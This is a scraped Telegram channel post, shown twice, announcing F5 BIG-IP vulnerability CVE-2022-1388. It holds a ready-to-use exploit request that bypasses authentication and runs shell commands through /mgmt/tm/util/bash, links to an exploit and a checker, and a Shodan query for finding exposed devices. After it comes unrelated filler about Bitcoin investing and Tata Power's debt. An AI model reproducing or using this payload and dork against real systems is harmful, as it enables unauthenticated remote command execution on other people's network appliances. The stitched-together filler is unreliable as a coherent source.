Telegram Group & Telegram Channel
🔺️BIG-IP iControl REST vulnerability CVE-2022-1388
🔹️This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.
🔹️Details: https://lnkd.in/emtA8JCk

🔹️CVE-2022-1388 Cheacker (https://lnkd.in/eUh4NHtN)
🔹️CVE-2022-1388 Exploit (https://lnkd.in/eCEp8_b3)
🔹️Request:
POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 45
Connection: Keep-Alive, X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46

{
"command":"run",
"utilCmdArgs":"-c id"
}

🔹️Shodan Dork:
http.title:"BIG-IP®-+Redirect" +"Server"
📌 F5
@AmirHoseinTangsiriNET〽️



tg-me.com/AmirHoseinTangsiriNET/340
Create:
Last Update:

🔺️BIG-IP iControl REST vulnerability CVE-2022-1388
🔹️This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.
🔹️Details: https://lnkd.in/emtA8JCk

🔹️CVE-2022-1388 Cheacker (https://lnkd.in/eUh4NHtN)
🔹️CVE-2022-1388 Exploit (https://lnkd.in/eCEp8_b3)
🔹️Request:
POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 45
Connection: Keep-Alive, X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46

{
"command":"run",
"utilCmdArgs":"-c id"
}

🔹️Shodan Dork:
http.title:"BIG-IP®-+Redirect" +"Server"
📌 F5
@AmirHoseinTangsiriNET〽️

BY AmirHoseinTangsiriNET




Share with your friend now:
tg-me.com/AmirHoseinTangsiriNET/340

View MORE
Open in Telegram


AmirHoseinTangsiriNET Telegram | DID YOU KNOW?

Date: |

Should You Buy Bitcoin?

In general, many financial experts support their clients’ desire to buy cryptocurrency, but they don’t recommend it unless clients express interest. “The biggest concern for us is if someone wants to invest in crypto and the investment they choose doesn’t do well, and then all of a sudden they can’t send their kids to college,” says Ian Harvey, a certified financial planner (CFP) in New York City. “Then it wasn’t worth the risk.” The speculative nature of cryptocurrency leads some planners to recommend it for clients’ “side” investments. “Some call it a Vegas account,” says Scott Hammel, a CFP in Dallas. “Let’s keep this away from our real long-term perspective, make sure it doesn’t become too large a portion of your portfolio.” In a very real sense, Bitcoin is like a single stock, and advisors wouldn’t recommend putting a sizable part of your portfolio into any one company. At most, planners suggest putting no more than 1% to 10% into Bitcoin if you’re passionate about it. “If it was one stock, you would never allocate any significant portion of your portfolio to it,” Hammel says.

Tata Power whose core business is to generate, transmit and distribute electricity has made no money to investors in the last one decade. That is a big blunder considering it is one of the largest power generation companies in the country. One of the reasons is the company's huge debt levels which stood at ₹43,559 crore at the end of March 2021 compared to the company’s market capitalisation of ₹44,447 crore.

AmirHoseinTangsiriNET from br


Telegram AmirHoseinTangsiriNET
FROM USA